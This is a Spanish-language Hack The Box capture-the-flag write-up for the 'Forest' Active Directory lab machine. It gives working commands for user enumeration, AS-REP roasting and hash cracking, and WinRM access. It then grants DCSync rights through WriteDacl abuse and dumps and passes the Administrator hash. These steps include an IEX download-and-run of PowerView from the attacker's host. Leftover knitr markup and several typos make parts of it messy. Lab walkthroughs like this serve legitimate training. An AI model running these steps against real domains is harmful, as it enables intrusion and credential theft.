Volver atras HTB_Forest | Savinotes

HTB_Forest

Forest {-}

Introduccion {-}

La maquina del dia 12/08/2021 se llama Forest.

El replay del live se puede ver aqui

S4vitaar Forest maquina

No olvideis dejar un like al video y un commentario…

Enumeracion {-}

Reconocimiento de maquina, puertos abiertos y servicios {-}

Ping {-}

ping -c 1 10.10.10.161

ttl: 127 -> maquina Windows

Nmap {-}

nmap -p- --open -T5 -v -n 10.10.10.161

Va lento

nmap -sS -p- --open --min-rate 5000 -vvv -n -Pn 10.10.10.161 -oG allPorts 
extractPorts allPorts
nmap -sC -sV -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49671,49676,49677,49684,49703,49918 10.10.10.161 -oN targeted
PuertoServicioQue se nos occure?Que falta?
53domainDomain controller rpcclient null session
88Kerberosasproasting attacklista de usuarios validos
135msrpc
139netbios
389LDAPBloodhoundcredenciales
445smbNull session
464kpasswd5?
593ncacn_http
636tcpwrapped
3268ldap
3269tcpwrapped
5985WinRMevil-winrmcredenciales
9389mc-nmfPuertos por defecto de windows
47001httpPuertos por defecto de windows
49664msrpcPuertos por defecto de windows
49665msrpcPuertos por defecto de windows
49666msrpcPuertos por defecto de windows
49667msrpcPuertos por defecto de windows
49671msrpcPuertos por defecto de windows
49676ncacn_httpPuertos por defecto de windows
49677msrpcPuertos por defecto de windows
49684msrpcPuertos por defecto de windows
49703msrpcPuertos por defecto de windows
49918msrpcPuertos por defecto de windows

Analyzando el SMB {-}

crackmapexec smb 10.10.10.161
smbclient -L 10.10.10.82 -N

Vemos que estamos en frente de una maquina Windows Server 2016 Standard de 64 bit pro que se llama FOREST en el dominio htb.local. No vemos ningun recursos compartidos a nivel de red. Añadimos el dominio a nuestro

 /etc/hosts 

.

Buscando ususarios con rpcclient y rpcenum {-}

rpcclient -U "" 10.10.10.161 -N

rpcclient $> enumdomusers

Como nos deja connectarnos con el null session vamos a enumerar esto con la utilidad rpcenum de s4vitar

git clone https://github.com/s4vitar/rpcenum
cd rpcenum
./rpcenum -e All -i 10.10.10.161

Como aqui ya tenemos un listado de usuarios validos, lanzamos un ataque asproarst.

Vulnerability Assessment {-}

Asproasting Attack {-}

Los ataques Asproasting se pueden manejar con la utilidad

 GetNPUsers.py 
cd content
rpcclient -U "" 10.10.10.161 -N -c "enumdomusers" 
rpcclient -U "" 10.10.10.161 -N -c "enumdomusers" | grep -oP '\[.*?\]' 
rpcclient -U "" 10.10.10.161 -N -c "enumdomusers" | grep -oP '\[.*?\]' | grep "0x" -v 
rpcclient -U "" 10.10.10.161 -N -c "enumdomusers" | grep -oP '\[.*?\]' | grep "0x" -v | tr -d '[]'
rpcclient -U "" 10.10.10.161 -N -c "enumdomusers" | grep -oP '\[.*?\]' | grep "0x" -v | tr -d '[]' > users.txt
GetNPUsers.py htb.local/ -no-pass -userfile users.txt 2>/dev/null

Aqui vemos el TGT del usuario svc-alfresco. Copiamos todo el hash del usuario svc-alfresco en un fichero llamado hash y lo crackeamos con John

Crackeando el hash con John {-}

john -wordlists=/usr/share/wordlists/rockyou.txt hash

Aqui encontramos su contraseña. Ya podemos effectuar un Kerberoasting attack. Pero primero, como siempre, credenciales encontradas son credenciales que checkeamos con crackmapexec

crackmapexec smb 10.10.10.161 -u 'svc-alfresco' -p 's3rvice'

LDAP enumeracion con ldapdomaindump {-}

Esta utilidad nos permitte recuperar en formato html las informaciones del servicio LDAP.

cd /var/www/html
ldapdomaindump -u 'htb.local/svc-alfresco' -p 's3rvice' 10.10.10.161
service apache2 start

y podemos mirarlo con firefox en localhost

Kereroasting attack {-}

Los ataques Kereroasting se pueden manejar con la utilidad

 GetUserSPNs.py 
GetUserSPNs.py htb.local/svc-alfresco:s3rvice@10.10.10.161 -request -dc-ip 10.10.10.161

Esta utilidad nos retorna un mensaje como que no son las buenas credenciales. Si es el caso vamos si nos podemos connectar por win-rm.

Vuln exploit & Gaining Access {-}

Ganando accesso con Win-RM {-}

crackmapexec winrm 10.10.10.161 -u 'svc-alfresco' -p 's3rvice'

Aqui vemos quel usuario es (Pwn3d!)

evil-winrm -i 10.10.10.161 -u 'svc-alfresco' -p 's3rvice'

ya estamos a dentro de la maquina y podemos ver la flag del usuario.

Enumeracion del systema para preparar la escalada de privilegios {-}

  1. instalamos bloodhound y neo4j

    sudo apt install neo4j bloodhound
  2. lanzamos neo4j service

    sudo neo4j console
  3. lanzamos bloodhound

    bloodhound --no-sandbox &> /dev/null &
    disown
  4. connectamos bloodhound al neo4j database

  5. Collectamos la data con SharpHound.ps1

    • descargamos en sharphound

      wget https://raw.githubusercontent.com/puckiestyle/powershell/master/SharpHound.ps1
    • lo uploadeamos desde el evil-winrm

      upload SharpHound.ps1
    • lo lanzamos desde el evil-winrm

      Import-Module .\SharpHound.ps1
      Invoke-BloodHound -CollectionMethod All
      dir
    • ahora que tenemos el zip nos lo descargamos

      download 20210812133453_BloodHound.zip
  6. Drag & Drop del fichero .zip hacia la ventana del bloodhound y en el Analysis tab

    • Find all Domains Admins -> Show Administrator of the domain

Aqui hay una via potencial (un camino) que nos permitte convertir en usuario administrador

Privilege Escalation {-}

Forest-bloodhoud

Rootear la maquina {-}

El usuario svc-alfresco es miembro del groupo service accounts que es miembro de grupo privileged accounts que es miembro del grupo account operators.

Este grupo account operators tiene permissions de typo Generic all sobre el grupo Exchange windows permissions. Si buscamos por internet lo que es el account operators vemos que es un grupo de verdad que permitte crear usuarios y privilegios. Lo comprobamos en el evil-winRM

net user s4vitar s4vit4r123$! /add /domain
net user s4vitar

Effectivamente podemos crear usuarios.

Si seguimos analysando el BloodHound vemos que el grupo exchange Windows permission tiene capacidad de typo WriteDacl sobre el dominio. Si hacemos un click derecho sobre el WriteDacl podemos mirar mas informaciones

    knitr::include_graphics("images/Forest-Abuse_writedacl.png")

![Forest-Abuse_writedacl](/assets/images/Forest-Abuse_writedacl.png) 
    ```bash
    net group
    net group "Exchange Windows Permissions" s4vitar /add
    net user s4vitar
    ```

1. Passamos a la maquina victima el powerView

    - en la maquina de atacante

        ```bash
        wget https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerView/powerview.ps1
        python3 -m http.server 80
        ```

    - en la maquina victima

        ```bash
        IEX(New-Object Net.WebClient).downloadString('http://10.10.14.8/powerview.ps1')
        ```

1. Asignamos el privilegio ds sync al usuario s4vitar

    ```bash
    $SecPassword = ConvertTo-SecureString 's4vit4r123$!' -AsPlainText -Force
    $Cred = New-Object System.Management.Automation.PSCredential('htb.local\s4vitar', $SecPassword)
    Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity s4vitar -Rights DCSync
    ```

1. Desde la maquina de atacante podemos lanzar un impacket-secretsdump para recuperar los hashes de los usuarios

    ```bash
    impacket-secretsdump htb.local/s4vitar@10.10.10.161
    ```

Ya tenemos el hash del usuario administrador

```{r, echo = FALSE, fig.cap="DCSync Admin hash", out.width="90%"}
    knitr::include_graphics("images/Forest-dcsync-admin-hash.png")

evil-winrm -i 10.10.10.161 -u ‘Administrator’ -H ‘32693b11e6aa90eb43d3372a07ceea6’ Forest-dcsyc-admi-hash



```bash
 WHOAMI -> htb\administrator 

;)